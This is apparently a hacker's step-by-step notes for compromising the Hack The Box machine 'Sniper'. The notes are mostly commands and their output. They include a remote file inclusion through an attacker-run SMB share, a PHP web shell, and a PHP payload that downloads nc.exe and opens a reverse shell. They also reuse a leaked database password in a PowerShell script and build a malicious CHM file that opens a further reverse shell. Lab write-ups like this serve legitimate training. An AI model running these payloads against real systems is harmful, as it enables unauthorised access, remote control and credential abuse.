LFI

SMB SERVICE USE LFI AND CONVERT RCI

MALICIOUS CHM FILE (WINDOWS VM) INSTALL HTML HELP

PORT STATE SERVICE VERSION

80/tcp open http Microsoft IIS httpd 10.0

| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Microsoft-IIS/10.0

|_http-title: Sniper Co.

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?

49667/tcp open msrpc Microsoft Windows RPC

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

root@kali:/home/kali/Desktop/hackthebox/sniper# gobuster dir -u http://sniper.htb/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/common.txt -x .php

/Blog (Status: 301)

/Images (Status: 301)

/Index.php (Status: 200)

/blog (Status: 301)

/css (Status: 301)

/images (Status: 301)

/index.php (Status: 200)

/index.php (Status: 200)

/js (Status: 301)

/user (Status: 301)

LFI AT lang=

http://sniper.htb/blog/?lang=blog-fr.php

root@kali:/home/kali/Desktop/hackthebox/sniper# tail /etc/samba/smb.conf

add to the end

[akg]

  path = /home/kali/Desktop/hackthebox/sniper/

  writable = yes

  guest ok = yes

  guest only = yes

  read only = no

  create mode = 0777

  directory mode = 0777

  force user = nobody

root@kali:/home/kali/Desktop/hackthebox/sniper# service smbd start

root@kali:/home/kali/Desktop/hackthebox/sniper# cat info.php

<?php phpinfo(); ?>

http://sniper.htb/blog/?lang=//10.10.14.17/akg/info.php CONFIRMED!!

root@kali:/home/kali/Desktop/hackthebox/sniper# cat cmd.php

<?php echo shell_exec($_GET[0]); ?>

view-source:http://sniper.htb/blog/?lang=//10.10.14.17/akg/cmd.php&0=whoami

</html>

nt authority\iusr

</body>

</html>

ATTEMPTING TO GET SHELL

root@kali:/home/kali/Desktop/hackthebox/sniper# cp /usr/share/windows-resources/binaries/nc.exe .

root@kali:/home/kali/Desktop/hackthebox/sniper# cat exploit.php

<?php shell_exec('powershell iwr -uri 10.10.14.17/nc.exe -o C:\Windows\Temp\nc.exe;C:\Windows\Temp\nc.exe -e powershell 10.10.14.17 1234')?>

root@kali:/home/kali/Desktop/hackthebox/sniper# python -m SimpleHTTPServer 80

root@kali:/home/kali/Desktop/hackthebox/sniper# nc -nlvp 1234

http://sniper.htb/blog/?lang=//10.10.14.17/akg/exploit.php

SHELL GAINED!!!!!!!

PS C:\inetpub\wwwroot\user> type db.php

type db.php

```
<?php

// Enter your Host, username, password, database below.

// I left password empty because i do not set password on localhost.

$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");

// Check connection

if (mysqli_connect_errno())

 {

 echo "Failed to connect to MySQL: " . mysqli_connect_error();

 }

?>
```

ESCALATE TO CHRIS USER

root@kali:/home/kali/Desktop/hackthebox/sniper# cat getshell.ps1

```
$username = 'SNIPER\Chris'

$password = '36mEAhz/B8xQ~2VM'

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force

$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword

Invoke-command -computername SNIPER -credential $credential -scriptblock { cmd.exe /c "C:\tmp\nc.exe" -e powershell 10.10.14.17 4444 }
```

root@kali:/home/kali/Desktop/hackthebox/sniper# python -m SimpleHTTPServer 80

PS C:\> mkdir tmp

PS C:\tmp> iwr -uri 10.10.14.17/nc.exe -o C:\tmp\nc.exe

PS C:\tmp> iwr -uri 10.10.14.17/getshell.ps1 -o C:\tmp\gs.ps1

root@kali:/home/kali/Desktop/hackthebox/sniper# nc -nlvp 4444

PS C:\tmp> .\gs.ps1

USER CHRIS !!!!!!!!!!!!!!!!!!

PS C:\Docs> type note.txt

type note.txt

Hi Chris,

Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.

Regards,

Sniper CEO.

https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1

WINDOS VM CREATE MALICIOUS CHM FILE INSTALL HTML HELP

PS C:\Users\prashant\Desktop>certutil -urlcache -split -f https://raw.githubusercontent.com/samratashok/nishang/master/Client/Out-CHM.ps1

PS C:\Users\prashant\Desktop>import-module .\out.chm.ps1;out-chm -Payload "C:\tmp\nc.exe -e powershell 10.10.14.17 8888" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

TRANSFER out.chm to SNIPER /Docs Folder

PS C:\Docs> cp /tmp/doc.chm /Docs

Nc –nlvp 8888

ROOTED!!!!!